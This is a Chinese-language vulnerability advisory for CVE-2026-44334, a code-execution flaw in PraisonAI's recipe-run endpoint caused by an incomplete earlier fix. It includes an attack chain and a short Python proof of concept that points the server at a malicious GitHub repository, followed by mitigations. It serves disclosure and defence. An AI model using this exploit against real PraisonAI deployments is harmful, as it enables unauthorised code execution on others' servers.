IPBUF安全漏洞报告
English
CVE-2026-44334 CVSS 8.4 高危

CVE-2026-44334 PraisonAI远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44334
漏洞类型
远程代码执行
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

RCEPraisonAI代码执行远程漏洞认证绕过

漏洞概述

PraisonAI在4.5.139至4.6.32之前的版本中存在安全绕过漏洞。由于修复CVE-2026-40287时遗漏了对praisonai/templates/tool_override.py文件的导入保护,攻击者可构造恶意配方请求,触发服务器执行未授权的本地tools.py文件,导致无需认证的远程代码执行。

技术细节

该漏洞源于对CVE-2026-40287的不完整修复。虽然开发者在tool_resolver.py和api/call.py中限制了tools.py的自动导入,但遗漏了praisonai/templates/tool_override.py中的导入点。攻击者可利用/v1/recipes/run接口,通过POST请求传入指向本地路径或GitHub仓库(因为SecurityConfig.allow_any_github默认为True)的配方值。当系统加载配方时,会执行未受保护的exec_module()加载同目录下的tools.py,从而允许攻击者在无需身份验证的情况下执行任意Python代码。

攻击链分析

STEP 1
1. 环境准备
攻击者创建一个包含TEMPLATE.yaml和恶意tools.py文件的GitHub仓库或本地路径。
STEP 2
2. 发送请求
攻击者向目标服务器的/v1/recipes/run接口发送POST请求,recipe参数指向恶意仓库地址。
STEP 3
3. 触发漏洞
服务器接收请求,由于SecurityConfig.allow_any_github默认开启,服务器下载并解析配方。
STEP 4
4. 代码执行
系统运行至未受保护的praisonai/templates/tool_override.py,通过exec_module()加载并执行恶意tools.py中的代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit script for CVE-2026-44334 # The attacker creates a GitHub repo with 'TEMPLATE.yaml' and a malicious 'tools.py' target_url = "http://target:port/v1/recipes/run" malicious_repo = "https://github.com/attacker/malicious-praisonai-recipe" payload = { "recipe": malicious_repo } print(f"Sending exploit request to {target_url}...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("Exploit sent successfully. Check if tools.py was executed.") else: print(f"Request failed with status code: {response.status_code}")

影响范围

PraisonAI >= 4.5.139
PraisonAI < 4.6.32

防御指南

临时缓解措施
在未升级修复前,建议通过防火墙规则阻止对/v1/recipes/run端点的非受信网络访问,或者确保环境变量配置严格禁止加载外部GitHub仓库(尽管默认开启,但可尝试手动配置关闭),并检查系统中是否存在未授权的文件写入行为。

参考链接